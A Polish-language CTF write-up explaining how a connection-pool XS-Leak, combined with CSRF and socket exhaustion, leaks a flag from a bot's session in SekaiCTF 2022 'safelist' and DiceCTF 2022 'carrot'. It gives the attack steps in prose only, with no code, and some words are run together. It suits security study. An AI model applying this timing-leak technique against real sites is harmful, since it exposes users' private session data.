W wyzwaniu Sekaictf2022 - safelist, @Strellic_ podaje przykład, jak użyć wariacji techniki Connection Pool, aby przeprowadzić XS-Leak.
W tym wyzwaniu celem jest wykradzenie flagi, która pojawi się w sesji web bota w poście. Oto zasoby, które ma atakujący:
botodwiedziURL podany przez atakującego
Atakujący może wstrzyknąć HTML na stronę (ale nie JS, używany jest dompurify), nadużywając CSRF, co sprawi, że bot stworzy post z tym HTML.
Atakujący może nadużyć CSRF, aby sprawić, że botusuniepierwszypost na stronie.
Ponieważ posty są uporządkowane alfabetycznie, gdy pierwszy post zostanie usunięty, jeśli zawartość HTML atakującego jest załadowana, oznacza to, że była alfabetycznie przed flagą.
Dlatego, aby ukraść flagę, rozwiązanie zaproponowane przez @Strellyc_ polega na tym, aby dla każdego testowanego znaku sprawić, że bot:
Stworzy nowy post, który zaczyna się od znanej części flag i kilku załadunków img.
Usuniepost na pozycji 0.
Zablokuje 255 gniazd.
Załaduje stronę z postami.
Wykona 5 losowych zapytań do strony (w tym przypadku example.com) i zmierzy czas, jaki to zajmie.
Jeśli usunięty post był flagą, oznacza to, że wszystkie obrazywstrzyknięte w HTML będą rywalizować z 5 losowymi zapytaniami o to niezablokowane gniazdo. Co oznacza, że zmierzony czas będzie większy niż w innym scenariuszu.
Jeśli usunięty post był HTML, 5 losowych zapytań będzie szybsze, ponieważ nie muszą rywalizować o to gniazdo z wstrzykniętym HTML.

DiceCTF 2022 - carrot
W tym przypadku pierwszym krokiem exploitu było wykorzystanie CSRF do modyfikacji strony, na której znajduje się flaga, aby miała znacznie więcej treści (a zatem jej załadowanie zajmuje więcej czasu), a następnie wykorzystanie puli połączeń do zmierzenia czasu dostępu do strony, która potencjalnie może zawierać flagę.
W exploicie można zobaczyć:
Wykorzystanie CSRF
Zajęcie wszystkich gniazd oprócz 1
Kalibracja odpowiedzi
Rozpoczęcie bruteforce'u poprzez dostęp do potencjalnej strony z flagą
Potencjalna strona zostanie otwarta, a natychmiast zostanie również otwarty URL kontrolowany przez atakującego, aby sprawdzić, ile czasu zajmują oba żądania.
